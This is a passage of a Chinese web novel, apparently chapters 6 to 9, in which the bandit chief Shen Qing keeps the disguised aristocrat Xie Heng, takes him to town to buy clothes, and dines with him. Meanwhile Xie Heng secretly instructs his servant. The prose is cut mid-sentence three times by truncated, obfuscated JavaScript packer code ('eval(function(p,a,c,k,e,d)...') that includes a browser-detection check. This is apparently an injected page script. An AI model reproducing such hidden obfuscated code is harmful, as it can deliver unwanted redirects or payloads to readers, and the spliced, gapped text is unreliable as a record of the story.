沈青定睛望去,果然玉质玲珑的锁骨下,也是一片触目惊心的红,再蔓延下去,很快脖颈上也要长了。 她突然从心底生气一股无名怒火,红疹并不是什么多严重的问题,但是它们竟敢长在这样完美无瑕的身躯上,那就是大罪过了! “你吃了什么不该吃的?” 谢珩摇摇头:“大概是……这衣物,不太合身吧。” 衣服不合身? 沈青眨眨眼,跳下榻跑过去摸了摸他的衣服,终于知道是怎么回事了。 她原先也只是听说,高门大户里出来的公子小姐,那衣裳料子比头发还要丝滑柔软,他们自小娇生惯养着,那身上肌肤都养得光嫩水滑,要再给他们穿粗衣布料,一不小心就磨出红疹了。 今日算是见识到了! 诶,这几日他的换洗衣物都是她从萧瑞那里拿的,这已经是整个小金顶最讲究人的衣裳了! 又想到他在这小金顶吃东西也吃不惯,几日下来人都清瘦了不少,到底平日里是吃山珍海味的主。 果然娇养一个美人,就得可劲儿砸银子啊! 但这既然已经是她的人了,总不能让她把一颗好好的珍珠养成鱼目吧,那她堂堂坐地一只虎的脸岂不是丢大发了? 她心里顿时油然掀起一股汹涌的怜惜和愧疚,将下巴一扬,向谢十三下令:“你赶紧亲我一口。” 话音刚落,谢珩错愕往后退了半步:“你……什么意思?” “就是字面意思啊,”沈青说得坦然:“我决定了,明日也要把你带下山,好好给你买几件衣裳器具,不过就是你得亲我一口。” 末了还不忘特地强调一句:“只是亲一口,这算不上什么强迫你吧?” 谢珩一张薄唇抿成了一条线,反正这几日他也算摸清,沈青这人,什么道理都会在她那里歪曲成她想要的样子,他争辩也是无谓。 山是要下的,可是这个条件,他也真……做不到。 见他半天不动,沈青不依不饶贴了上去,不凑这么近还真没注意,谢十三竟然比她高了大半个头,她正好将两只手臂搭在他肩上,扬起小脸凑到他下巴边。 “快点,就一下的事,男子汉大丈夫别磨磨叽叽的。” 这么亲近的距离,谢珩本能想要避开,可是沈青下半个身子的重量都在他身上,他又被她轻轻松松圈制住了。 她身上,竟真的是清爽干净的皂角香。 “不行。” 谢珩淡淡启唇,坚决表明自己态度。 沈青比他更坚决:“你要是不亲,那我就上了。我亲的话,那我就不能保证是个什么亲法了。” “你!” 谢珩几乎是要呕血,憋得苍白玉颜染上一层淡淡血色。 “嗯?快点考虑啊。” 沈青又放低了声音,像是只有情人才听得清的款款低喃,谢珩被逼得避无可避,只得垂眸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他刚走到近前,身子就被人一把拽过去摁倒,一张棉被从天而降盖在身上,一切都安排得明明白白。 “熄灯吧。”睡在枕畔的人继续发号施令。 谢珩不去看身边的人,只盯着屋梁:“不必了吧。” 话音刚落,就看见沈青蹭地一下爬起来,大步从他身上跨过去,跳下榻一口气将案头烛灯吹灭,又窸窸窣窣从他身上爬过去,重新钻入被窝。 房间视线一下暗了下来,黑暗中,还伴随了一声微不可查的叹息。 沈青敏锐捕捉到这声叹息,好心解释:“我这可是为了保护你!要是开了灯,我一转头就能看见你的美色,那我会把持不住想要摸你亲你的,我又不是什么坐怀不乱的柳下惠。” 谢珩的声音在黑暗中显得有些冷硬:“……多谢阁下好意。” 安分了一会,沈青又往谢珩那边挨近了些,小声道:“我突然好像有点知道枕上私语是怎么回事了,确实会显得我们的关系很好很恩爱的样子,噢,怪不得说生同衾死同穴呢,以后我要是死了,你也陪着埋我旁边吧。” 回应她的是一片沉默。 “睡着了?”她侧过头,只依稀看到个模糊秀挺的轮廓。 “不要随便学了什么词就乱用。” 这下不说话的是沈青了。 不过对于谢珩来说,耳边清净倒是让他放松下来,不用硬着头皮来应付这人的胡言乱语。 只是两个大男人,躺在一张榻上,盖着同一张被子,实在让他如芒在背。 忽然,一只手搭上他的胸口,紧接着,一只腿也跨到了他身上,他顿时紧绷了身子轻斥:“沈青,你放开!” 身边的人不耐烦喃喃呓语了几句,手脚并用将他缠得更紧了。 窗外有冷风灌进来,适应了房中昏暗后,借着雪色明亮,可以看清眼前人的睡颜。 怎么会有人大冬天睡觉不关窗的呢? 怎么会有人才刚刚说完一句话,马上就能酣睡如斯? 谢珩仔仔细细审视着眼前这张沉睡的脸,可实在睡得安稳舒畅,大概是雪色映衬,那副眉眼在合目安睡的状态下,竟透出几分乖觉,居然也没那么讨人嫌恶。 他面无表情抬手,麻利地将自己身上的束缚摘掉,没什么怜惜地一把推远了身边的人。 沈青被推得轱辘翻了个身,顺势一把将棉被全部卷走,继续手脚并用抱着一团棉被呼呼大睡。 谢珩没什么睡意盘腿坐起身,就着雪色微光,用湿帕子一点一点擦拭身上的红疹,好一会儿,疹子果然渐渐消掉不少。 好在这苦肉计算是成了,至少换得明日可以下山的机会。 他回头又望了一眼不知何时又睡得四仰八叉的人,只希望能早日收服了莽山势力,将这匪首亲自缉拿归案,才不负这连日来的屈辱。 7. 第 7 章 沈青一大早醒来,睁眼所见的是窗外雪景,看了好一会儿忽然觉得对面那峰头怎么跟自己平日里醒来看到的不太一样,这才清醒过来,想起如今身在何处。 可是枕畔竟然没有那张让她醒来看到就能心情好一整天的脸! 她一骨碌坐起来,才看到正在案边闲闲翻书的侧影。 果然谢氏不愧是大梁第一世家,家风就是这般勤勉好学! “谢十三,你过来给我瞅瞅!” 谢珩见她醒来,心中再不情愿,也还是依言放下书卷走了过来。 沈青托着下巴,盯着他左看右看,眼角眉梢都是掩盖不住的笑意。 谢珩被她打量得很不自在:“有何事?” 沈青郑重点了点头:“当然有事,我要跟你说一件严肃的事情。” 谢珩心中忽然有种不太好的预感:“今日……不下山了?” 沈青被他问得莫名其妙:“什么啊?我又没喝醉断片,好端端的怎么不下山了?我要跟你说的是,以后我俩睡一起,你要等我醒来了,你才能起身,我必须一睁眼就要看到你这张脸。” 谢珩脸色有点垮:“这是你要说的严肃的事情?” “难道不比下山这事重要很多吗?” 谢珩不再多说,反正这匪徒说什么都自有道理。 交待完这般重要的大事,沈青才慢悠悠起床梳洗收拾,最后叼了个昨晚没吃完的馒头也不嫌磕得牙疼,吃得蹦脆香,才悠哉地带着谢十三出门去找岳瑛。 大概要下山的缘故,岳瑛今日发髻挽得更高了些,唇上面颊都点了淡淡胭脂,耳间一对明月珰随着她的一颔首一低眉,也微微晃动,看得沈青也晃了眼。 女孩子果然就是该这样明妍娇媚! 岳瑛一出来就看到沈青身后的谢十三,得知他也要跟着下山,趁他走在后面的时候,不禁小声问沈青:“你带谢十三下山,不怕他趁机逃走吗?” 沈青并不避讳让身后的人听到:“他有本事从我手中逃走?” “就算他没想要逃,那你不怕下山后官府或者谢家的人看见,将他救走?” 沈青更是嗤之以鼻:“那群废物有本事从我手中把人救走?” 岳瑛无话可说,略微同情地回头看了看,谢珩只是面无表情跟在身后,似乎没什么情绪。 在听到岳瑛开口问第一句的时候,他就不期待能有个多正常的回答,果不其然,多听一句,都是在浪费自己的耳力。 三人赶了牛车轧着厚厚积雪总算是下了小金顶,出了莽山盘踞的地界,就是渝州首府清乐城了。 清乐城虽然也下雪,但景况与莽山的冰天雪地杳无人迹绝然不同,毕竟城镇中百姓总要营生往来,街道上积雪在人来车往中早就消融,只有屋顶和街角积雪无人扫洒,整个清乐城只顶了一片白毡帽而已。 沈青翘着二郎腿大咧咧躺在牛车上,头顶虽然是黯黯灰天随时要下雪的样子,可是街道两边屋檐青瓦扬起弯弯弧度不断从眼角闪过,总算是有些人间气了。 “我在小金顶山都过的什么鬼日子啊,这他么才是人过的日子!” 别说沈青,谢珩仅仅只是在小金顶山待了七日,再置身于清乐城的街道上,恍然也生出一种隔世之感。 只是渝州匪患未除,清乐城的店铺虽家家开门营业,街上却车马人声萧条,无繁华喧闹之气。 尽管这样,沈青还是觉得谢十三这一身仙姿玉貌在大街上太过招摇,早便取了一顶厚厚锥帽给他罩着。 三人赶着牛车走走看看,沈青忽然想起什么,支起身子对谢珩道:“这清乐城来都来了,本来也应该带你回一趟刺史府去拜访一下谢珩,也算是让你回个门。” 谢珩顿觉不妙:“你疯了吗?” 沈青看不见他的脸,但明显感觉到他肩膀瞬间紧绷起来,于是抬手拍了拍他以示安抚:“谢珩不都退兵了嘛,你这么紧张做什么?不过我那问候求和的信送出去,他也没个态度,那就先等他纠结完再说吧,说不定他也很想认我做亲戚呢,到时候我们还能去洛京,我也该去拜见一下你父母高堂。” 谢珩的声音带着凉意从锥帽里传出:“你想太远了。” 沈青话还没听完,忽然仰长脖子,一把拽着旁边岳瑛的胳膊:“快看快看,那个铺子里胭脂和花钿,什么都有,都好看诶!” “我也想去看看!” 原以为岳瑛要稳重许多,这会儿竟也对这些新鲜的女儿家玩意也没什么抵抗力,被沈青一起拉着下了牛车,两人就这样一头钻进街边的脂粉铺子里。 被留在原处的谢珩茫然地在牛车上继续坐了会,才自觉将牛车停靠一边系上后,突然觉得自己有些好笑,但还是默不作声地站在门外等两人出来。 远远地,他冷眼看着沈青站在一排一排的脂粉柜前,亲自拿了这个闻一闻,又选了那个看一看,挑到特别好的,就用帕子沾上,一点一点重新替岳瑛又细细上了一层新妆。 两个人倒是玩得不亦乐乎。 望着始终陪在自己妻子身边那个青衣玉立的俊秀少年,谢珩突然有些理解了,为什么岳瑛作为被强掳上山的良家女子,会对将她掳上山的悍匪这般亲近。 天下举案齐眉的夫妻或许不少,但是为卿对镜画眉的夫君实在不多。 可惜了,好好一个良家女子,到底是所托非人…… 他等得有些聊赖,撇过头重新看向路边的车水马龙,要是真趁这时候走了,估计沈青都不会发觉。 “谢十三,你在这啊。” 脑海里刚冒出这样一个念头,沈青的声音就出现在耳边,谢珩回头淡淡看她:“那我应该在哪?” “那你真是久等了,来抱一抱。” 沈青冲上前,一把熊抱住谢珩,安抚孩子一般在他背上轻拍了几下。 真是不该啊!平日里她习惯只带着岳瑛出门,两人经常一逛这种脂粉铺子就是大半天,萧瑞偶尔会跟着,但是萧瑞嘛,让他等半天就等半天。 可是她刚刚在出门的那一瞬,恍然看见一位神仙公子站在门口,形单影只,孤苦伶仃,虽然被锥帽盖住了容颜,却也掩盖不住玉树仙姿的气派,承受着种种好奇,惊叹,艳羡甚至垂涎的目光…… 良心一下就痛了! 在谢珩一把将她推开前,她很自觉松开怀抱:“那个……你不要吃醋,今日你想买什么,我统统都给你买!” 谢珩倒真还慢悠悠说道:“听说渝州有上好佳墨,一方墨石,十两黄金,洛京贵胄子弟多用此墨。” “你就想要这个?” “嗯,正是。” 沈青嗤了一声:“一方墨石,现在十两黄金可买不到,这墨每年产得很少的,你们这些世家子弟为了显摆自己很有品味,一个个为了块墨争来争去,整得跟传国玉玺似的,现在渝州的一块墨石,就算拿出百两黄金,也未必买得到!” 谢珩不费口舌跟她解释:“你自然不懂。” “我是真不懂啊,用什么墨写字不是写字呢?一百两黄金诶!我干脆把这一百两黄金给它融成水来沾着写字岂不是更好?” 谢珩清雅的声音里带上一丝嘲讽:“沈寨主囊中羞涩便算了。” 这可激起了沈青的劲头:“这你放心,毕竟是你第一次主动问我要东西,我肯定会满足你的。” 她也坦然:“买那我肯定是买不起,不过……” 继而眉头一扬:“这整个渝州,还有我抢不到的东西吗?” 谢珩平生第一次对自己行为起了怀疑,他方才为何要生出这一丝故意引人入套来嘲讽的念头? 原来在洛京之中,他颇有巧言善辩能谋算人心的名声,是因为无论对方多刁钻无理,其实都还是在方寸之内。 沈青……蛮地悍匪,不可与之并论。。 沿街走了一会,三人终于进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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本来谢十三身上穿的是萧瑞的衣裳,掌柜的给他挑的却是一件与他气质更相衬的宽袖收腰长衫,铺中没有真正做到纯白如雪的料子,掌柜便选了一件白衣上带着几道水青色的印染痕迹的料子,既能修饰,又可掩盖衣料不够纯白。 宽袖,细腰,青白相衬,原本被她养得有些灰头土脸的神仙公子,又重新容光照人了。 “真好看,有点儿咱们初见时那个意思了。” 好看的人,就算挡了脸也是掩盖不住的! 沈青口中啧啧称赞,一双手已经摸上去感受这衣裳的料子了。 一旁的掌柜和伙计越看眼睛瞪得越大,人家摸衣裳料子不过是拿着衣角摩挲一下,这人上下其手的……怎么看都怎么像非礼啊? 在沈青一只手摸到胸口时,谢珩终于咬牙深吸了口气,一把抓住攥住她的手腕:“沈青……” 沈青心满意足地收手,趁机摸了一把他的腰身:“不错,这可是你第一次喊我名字,你这声音喊得真好听!以后都这么喊!” 在掌柜和伙计的目瞪口呆中,岳瑛也终于试了衣裳出来,衣裙翩跹娇妍,正与她今日妆容相衬,沈青从谢十三看到岳瑛,竟有种乱花渐欲迷人眼的目不暇接。 掌柜和伙计一肚子要夸奖的话都停在嘴边,两人不约而同往岳瑛头顶望去,这位夫人头顶会不会有些绿? 岳瑛在铜镜中照了照,脸上依旧是明艳笑容,自然而然挽上沈青的胳膊:“阿青,我觉得这身好看!” 然后她又看到站在不远处的谢珩:“谢十三这一身也好看!” 掌柜和伙计又转头看向谢珩,这三人还挺和谐…… “很好,掌柜的,收钱!”沈青将两锭银子往柜台上一扣:“不用找了!” 直到三人出了店铺走远,伙计舌头都打结了:“这这这……他们三关系还挺复杂……” 掌柜脖子也伸得老长:“这洛京城里的断袖之风,还是吹到咱们渝州来了。” 胖胖掌柜和瘦瘦伙计突然对视一眼,然后马上各自退开两步,还是保持距离的好! 8. 第 8 章 从成衣铺出来,谢珩垂眸跟在沈青和岳瑛身后,整个人越发沉默。 在小金顶,无论怎么被羞辱调戏,他已然能够应对,反正小金顶上的匪徒们,终有一天要被他尽数剿灭。 可今日下了小金顶,在人前被当作断袖看待,真是犹如有千万根细针直往他心里扎。 也许将来即便有一日他剿灭了莽山势力,可无论庙堂之高还是江湖之远,最后只会剩下他谢珩委身做过悍匪沈青的妾室这样的艳趣传闻吧。 谢氏家门也会增添浓墨重彩的一笔耻辱。 明知浮名都是虚妄,可世上终究少有人不被浮名所困。 时辰大概过了午时,本就萧条的街道更加冷清少人,谢珩抬头看了眼檐下迎风招展的酒旗,喊住了走在前面一路说说笑笑的两人:“不如就在这里用午膳吧。” 沈青循声也抬起头看,人家招牌上黑底金字写了“清乐酒家”四个大字,嚯,直接用清乐城做名头,她伸长脖子往里瞅了瞅,梨木桌凳,白玉瓷器,古朴雅致……总之是她吃不起的样子。 本想掉头就走,但是她一见谢十三就那么匀亭立在那儿,她忽然意识到,这人绝不该站在街头跟着她们一起胡乱啃着几张大饼完事,他就该坐在最好的酒楼中最雅致的包间里,一边品茗一边淡淡垂眸望向楼下的人来人往。 因着她这么一个念头闪过,三个人已经坐进了清乐酒家的上等包间里。 岳瑛嗅了嗅空气中名贵淡雅的檀香,小声询问沈青:“这……我们真吃得起吗?” 沈青面不改色端起茶杯咕咚喝了两口:“不管,先吃了再说。” 谢十三正坐在她对面,取了锥帽,略拂起宽袖,起杯,闻香,品茗,流畅娴雅,望着他捧起玉色茶杯,衬得他手指腕间也颜色如玉,沈青觉得这顿饭再贵也是值得的。 小二很快递了菜谱上来,沈青打眼一看,好家伙,果然高雅酒楼就是不一样,菜谱上的每一个字她都认识,但是连在一起合成菜名,她还真看不懂了! 她把菜谱扔给谢珩:“你来点吧,记住,千万不要想着替我省钱!” 后半句她语气重得欲盖弥彰,想必谢十三肯定能听懂她的意思。 谢十三莞尔,熟稔地点了几个菜。 沈青舒舒服服靠上身后软椅,这等高雅酒家,她也来享受享受。 但是小二上菜的时候,她还是被震惊到了。 什么高山流水?这不应该叫马蹄珍珠汤吗? 还有这个半山春色,这不就是一盘子……反正她也不怎么叫得出名字的绿叶青菜的东西。 一连上了好几道菜后,那个桃花鱼她是看懂了,是一条肥美的清蒸鳜鱼,盘中错落有致地铺了一层鲜艳桃花花瓣,也不知店家是怎么处理的,竟能做到用桃花入菜而色泽粉盈依旧如枝头绽放一般。 这也是整张桌上,唯一的荤菜了。 就算谢十三秀色可餐,那也不能真正当肉吃啊! “小二!再给我加几个肉!” 正好小二来上茶点,被沈青这么一吼,手中杯盘一个没拿稳,一半的茶水都倾到了谢珩身上。 “对不住对不住,这位公子您见谅,我真不是故意的!”小二一下慌了神,声音都带上了哭腔,也不怪他手抖,平日这样包间里的客人说话总是温声细语,突然来个人这么一吼,他真是猝不及防被吓了一跳。 这…… 沈青望着谢十三白衣上一片茶渍,她很心疼这件刚买的衣裳。 谢珩倒是一点愠色也没有,反而温声有礼:“无妨,下次注意些便是,请问方便带我去内间清理一下吗?” 小二如获大赦,连连点头:“可以,可以,您随我来。” 沈青冷眼抬了抬下巴,哼,怎么平时跟她说话不是这个语气? 随他们去,她要不怎么快乐地开始动筷子了。 谢珩与小二一进内间,小二直接就跪地请罪:“公子,您终于回来了,是鸣山的失职,才将公子陷于险境,请公子责罚!” 谢珩垂眸看了眼跪在脚边的人,方才还温润如玉的声音此时变得清凛冷冽:“你这次的失职,实在难辞其咎,本该重罚,现在有三件事,我长话短说,你记好了,就当将功赎罪。” “公子请吩咐。” “第一,小金顶上有一口瀑布,水流直达山底,你们务必潜入莽山地界,找到瀑布在山底的流向,往后我会用瀑布流水来给你们传递消息。” “第二,我不在刺史府,具体布署我已经写在这封信里,你回去将信交给谢瑜,让他统筹渝州的谢氏子弟,按我的布署行事。” “第三,这次我在城中招摇过市,那晚暗害我的人一定按捺不住,会出后招,务必盯紧有异动之人,必要的时候,可以直接诛杀。” 言简意赅交待完几句,谢珩拿了帕子在身上随意擦了几下,再多说下去,只怕沈青要起疑心了。 鸣山不解:“公子不回刺史府吗?您还要去哪?” 谢珩淡然道:“包间里那人,就是莽山的沈青。” 沈青?那个分明唇红齿白的俊俏公子,竟然是悍匪沈青? 鸣山一张脸犹如石化,原本见那青衣少年待他家公子还算殷勤,以为是公子脱险后结识的朋友,一想到公子就是被这沈青强掳到莽山为妾,如此羞辱,方才他眼中所看到的那些殷勤,瞬间变得无比可憎起来。 “公子!我现在就去杀了他!” 鸣山愤愤起身,被谢珩一手按住肩膀:“不要轻举妄动,此人暂时还有用。” “可是公子你……”鸣山说不下去。 谢珩沉默了一瞬,才道:“这人虽然刁钻蛮横,但目前来说还没对我太出格,我还能应付一阵。我交待你的三件事情速去办好,我也才能早日回来。” 鸣山无奈,只好重重应下:“一切听公子安排。” 沈青这边,正举着筷子一个劲儿叹气,这满桌的盘子,没有肉就算了,她也就每个盘子夹了那么两筷子而已,盘子就见底了。 想要给谢十三多留一些菜肴,还得靠她自己克制! 可是她的手就是不听使唤,筷子它停不下来啊! “这个谢十三,再不回来我可都吃完了!” 岳瑛看了看谢十三刚刚离开时顺手关上的门,不由得提醒她:“他不会跑了吧?” 沈青又戳了一块鳜鱼放进嘴中咂吧,眼皮都没抬一下:“谢十三出去的这一阵,我们这层没人下过楼。不过我觉得啊,清乐城算是他的地盘,没准就碰上什么老朋友,聊上几句,那也无伤大雅。” 就算跟人串通又能怎么样呢?无非就是说些莽山或小金顶的情况罢了。 哪怕把小金顶上的家底明明白白都透出去又怎么样呢,能奈她何? 岳瑛有些不放心:“他不会找人通风报信,然后让官府来抓我们吧?” 沈青思索了一下:“这确实是最坏的可能……” 话还没说完,包间的门被推开,谢珩面色如常走了进来重新在她面前坐定,沈青仰长脖子见他身后没人跟进来,又掀开窗边帘幕往下看,车马行人一切如常。 谢珩注视她举动:“怎么了?” 沈青坦然望他:“刚刚我们在讨论看你有没有找官府通风报信来抓我们。” 谢珩也反问她:“那我方才就是通风报信去了,你怎么办?” 沈青耸耸肩:“那还能怎么办,一手抓着你,一手抓着岳瑛,然后跑呗,跑回去就狠狠教训你。” 谢珩淡然一笑:“那就不用劳驾你教训我了。” 两人一言一语间,沈青几乎快要把盘子里的菜肴吃个干净,谢珩遵循着他“食不言寝不语”的规矩,直到两人彻底沉默,才开始低头安静地用膳。 桌上所能吃的食物已然不多,谢珩只简单吃了几口,两人几乎是同时放了筷子。 看时候不早了,沈青招来小二结账,听小二报完账单,沈青只问了一句:“我现在把刚刚吃下去的东西都吐出来,还来得及吗?” 这悍匪果然刁钻无理,鸣山下意识看了眼谢珩,然后对这山匪头子板起脸色:“来不及了。” 沈青摸着怀里的银子,无比肉疼:“我这一块肉都没吃到,却要付买一头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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天色快要黑下来,沈青三人坐着牛车顶着风雪慢慢往小金顶上走。 说来真是气人,清乐镇上虽然也有积雪,但待了一整天也没见下雪,可一进了莽山之内,这大雪又飘了起来。 山高路险,白茫茫看不清前路,谢珩坐在前面颇为谨慎掌握牛车的方向,清矜如玉的背影与大雪融成一色。 沈青懒懒地靠在岳瑛肩膀上,一路上都在沉默地思索着什么,直到快过了半山腰,她突然一拍大腿,做了一个无比郑重的决定:“我决定了,我以后要勤勉一些,没事少睡点觉,多多督促兄弟们下山打劫!” 岳瑛被吓了一跳:“为什么?” 沈青道:“必须要努力多打劫,我要好好养着谢十三这朵人间富贵花啊。” 世家里好看的公子,好是真好,就是太费钱了点,但这不是他的问题。 谢珩头也没回:“你自己想打劫就去打劫,不要把脏水泼给我。” 沈青乐了,朝岳瑛道:“你有没有发现,他现在跟我说话,字越来越多了?” 峰回路转,牛车慢慢消失在一片雪色中,迂回山路上,留下两行深深的车辙印,以及偶尔一两声清脆爽朗的笑声回荡于寂静山间。 回到小金顶,天已经完全黑了下来,寨中还算静谧,疏疏落落有几处屋角下挂了油灯,在夜风中吱吱摇曳。 偶尔有兄弟们聚众豪饮的声音从不同屋中传出,沈青侧耳听着,忍不住感叹:“还是回家了好。” “那我先回屋休息了。”牛车在岳瑛屋前停下,她也很识趣及时下车回自己屋子。 一下就只剩沈青和谢珩了。 沈青也跳下牛车,掸了掸落在身上的积雪,转过身去也想替谢珩拂去身上积雪,指尖却在要碰到他眉眼时生生顿住了。 他眉眼间沾染上的雪色,都是那样温润柔和,如梦似幻。 雪色与绝色之间,俗的是雪色了。 他抬眼一望,她于一汪水藻摇曳的碧波中溺毙。 她深深呼吸一口气:“今晚我也要跟你睡觉。” 9. 第 9 章 关于跟沈青同床共枕这件事,谢珩已经摸出一套应对方式,只要顺从一些,不去乱招惹他发脾气,一般沈青也还是会遵守诺言,不做太逾矩的事情。 尤其今日,沈青下山玩了一日,明显是累了,躺在被窝里胡乱扯着他说几句话,他都耐着性子应付下来,很快便听见耳边传来入睡后的均匀呼吸。 可算是又捱过一晚。 谢珩双眸也渐渐合上,也可以浅寐上几个时辰,突然一阵猛烈的敲门,把榻上两人都惊醒。 沈青眼睛还没睁开,先破口大骂出来:“肯定是赖三!大半夜搅我好梦!” 一边骂骂咧咧,一边从谢珩身上骨碌碌爬下去开门:“今晚你要是没有个惊天大事,你就完了!得亏我是真的在睡觉,不然我一定宰了你!” 赖三一面自认倒霉今日正好是他值守,一面硬着头皮取出一个皮封的信件:“老大,真要紧事,谢珩派人送来一封亲笔手书。” 嗯? 沈青脸上的怒意顿时消减了,她前脚刚带着谢十三下山,后脚谢珩就送信上来了,有意思。 “这谢珩是一觉睡了十多天,今天终于睡醒了吗?” 她嘟囔着拆开信封,榻上谢珩一听到“谢珩”二字,也披衣坐起身来。 赖三凑过来问:“老大,这信是谢珩的笔迹吗?会不会有诈?” 沈青正举着信细读:“是谢珩的字迹,他那篇亲笔手书的讨贼檄文我看过很多遍了,是他字迹没错。” 见沈青没有怀疑,谢珩不动声色刚松了口气,空气里忽然“哗啦”一声,沈青一把将那封信撕了个干净。 谢珩讶然,忙下了榻:“你怎么把它撕了?” 沈青莫名其妙:“你这么紧张干嘛?” 谢珩只好平复了语气解释道:“你不是一直在等他的一个态度吗?现在他给你回信了,如今大家都达成了暂止兵戈的共识,你为何又要把信件撕掉呢?” 沈青重重“哼”了一声:“我最看不惯他那副高高在上的样子。他决定暂时不对莽山用兵,一来是他自己权衡了双方各自实力,不想两败俱伤,二来大概是看你在这山上,还是顾全了一些你的性命。又不是我求着他退兵的。” 谢珩叹了口气:“所以你是哪里不满意?” “你看我当时给他写的信,多么有诚意地表达了我对他的问候,是不是?” “嗯……是吧。” 谢珩勉强应了一句,就他那封问候信,还真不知刺史府的手下们看了后有没有气吐血。 “对吧!你看看我的态度,你再看看谢珩的态度!”得到肯定后的沈青更来劲了:“还要跟我约法三章?不可滥杀无辜,不可强占私人财物,不可兴师作乱,这不都是对我单方面的约束吗?和谈就要有和谈的态度,凭什么还对我提这么多要求?” 赖三在一边也听得义愤填膺:“就是,他那破檄文还骂老大刁蛮霸道,其实他自己才是衣冠禽兽、人面兽心!” 谢珩无奈地捻了捻眉心:“……你们不要随便学了个什么词就乱用。” 把信件撕得粉碎后,沈青心里舒服多了:“赖三,你让送信的人回去告诉谢珩,他求和的态度我看到了,至于那个什么破约法三章,我可不会理,他要是看不惯,有本事就攻上小金顶吧。” 说完注意到谢十三脸色不太好,她安抚地拍了拍他的肩膀:“没事,谢珩不懂事是谢珩,冤有头,债有主,我不会因此迁怒你的。” “……多谢。” 有了谢珩明确了求和一事,这一晚沈青四仰八叉睡得更香,一觉醒来,竟然睡到日上三竿。 难得地,连日阴雪,今早窗外居然有了些许日影。 她舒舒服服伸了个懒腰,心情愉悦地翻个身准备看一眼枕边玉容,可惜转身瞬间,她一早上的好心情瞬间烟消云散。 枕边一个人影都没有! 别说枕边,整个房间里也空无一人。 好家伙,居然把她的话当空气?亏她昨天早上那么严肃地通知过他,务必让他等她醒来第一眼就能看到他,他居然完全没有听! 沈青气腾腾翻身爬起来,出了房门一问,才知道原来谢十三是去给萧瑞上早课去了。 说起来,萧瑞的功课是耽误一天了,正好无事,她便打着哈欠往草庐那边去,看看那小子学得怎么样。 到了草庐外,她放轻脚步,这次竟然没有听到里面传出一问一答的讲学声,清清静静的,两人在里面干啥呢? 凑到窗边,只见两人正相对而坐,都聚精会神盯着中间的棋盘,萧瑞手中执了一颗黑子,紧蹙着眉头犹疑不定,谢十三手中捻一颗白子,气定神闲等着对方落子。 草庐另一侧轩窗也被竹竿半撑着,窗外山影雪色与庐中两人侧影相互映衬,到底是近朱者赤,与谢十三坐一起对弈的萧瑞,要是不告诉别人他是山匪,真是与世家子弟风姿气度别无二致。 沈青推门进来,两人正在棋盘上酣战,都没有多看她一眼,她便盘腿在两人身侧坐下观战。 空气里安静得只有时不时棋子落定的声音,这让她很不习惯:“为什么今日不讲学了?” 谢珩娴雅落下一子:“对弈也是君子之道,已经讲了几日学,换种方式修炼一下心性。” 沈青似懂非懂“噢”了一声:“那萧瑞心性怎么样?” 谢珩专注着棋盘,也不忘答她:“虽然开蒙得晚,不过……是个天生善谋者。” 沈青不由得眼前一亮:“真的吗?评价这么高吗?” 萧瑞本来正在为下一子而纠结,正好听沈青一问,他也期待谢珩的答案,听见这样的夸赞,忽然自信起来,落下方才纠结的那一子。 “喜怒不该形于棋局,一念之间,背后是千军万马。”谢珩出声提醒他,抬手便收掉了一大片黑子。 “哎呀,”萧瑞扼腕叹息:“方才疏忽了,没有多看两步,该从长远计才是。” 沈青托腮望着棋盘上错落有序的黑白子,以她浅显的基础来看,足够看得眼花,顿时有些不耐烦:“最烦这种走一步需要往后看三步的事情了。” 谢珩忽而问她:“凡事只顾眼前的话,真不知这么多年你是怎么经营莽山,还能让莽山日益壮大的?倒真是想请教一下。” 沈青觉得这根本不是什么问题:“实力绝对强大的人,都是走一步看一步率性而为的,反正兵来将挡,水来土掩,才不必这样瞻前顾后。” 方才已经输了一着棋的萧瑞又无奈又嫌弃:“大哥你看棋就看棋,你好吵啊。” 沈青白眼一翻:“行吧,我不说话,你好好下。” 难得萧瑞在下棋的时候,对谢十三产生了几分恭敬谦卑的配合态度,为着他这个学习态度,她先忍了! 草庐里又安静得只剩下偶尔的落子声,沈青用手支着脑袋默默看棋,在一下又一下轻而脆的落子声中,沉沉合上了眼皮。 她支着脑袋的方向正好对着谢珩,两人隔得很近,谢珩略一抬眼,都能看清她覆下的长睫因睡得并不安稳而微微颤动。 像一只振动翅膀的蝴蝶。 萧瑞因为连连失利,手上落子越来越重,扰得沈青在半梦半醒中不耐烦地蹙起了眉头,谢珩举棋下意识停了一下,还好没醒,不然多半是要开始发脾气了。 “吧嗒!” 又是闷脆一声,沈青倏尔睁开双目,睡眼惺忪中果然带着浓浓的不耐。 谢珩若无其事地别开视线,将目光重新落到棋盘上。 “怎么你们一局棋能下这么久啊?”沈青不满嘟囔。 萧瑞这会儿更是不耐:“诶呀,大哥,你先别说话。” 这小子,还真是来劲了啊,沈青正好一肚子起床气想要发作,叉了腰还没来得及开骂,就看见谢珩闲闲落下一子:“这局结束了。” 沈青面上一喜:“真结束了?” 萧瑞万分痛心:“真结束了?真就结束了?不能来个什么置死地而后生吗?” 谢珩摇摇头,慢慢选了棋盘上的白子一颗一颗放入棋笼:“你最开始只落了一子的下风,但最后一步步败在了自己手上。” 萧瑞不能理解:“我怎么是败在自己手上了?” “你要的置死地而后生,中间其实有过无数机会,但你败了一子,心态全乱,急于挽回那一子的错失,反而失了全局的生机。不过今日只是棋盘上的博弈,他日若在别处绝境,可记住要心如止水,才能运筹出生机。” 萧瑞若有所思地点点头,沈青也听得兴致盎然:“改日你也教我下棋,你说到道理是好听的。” 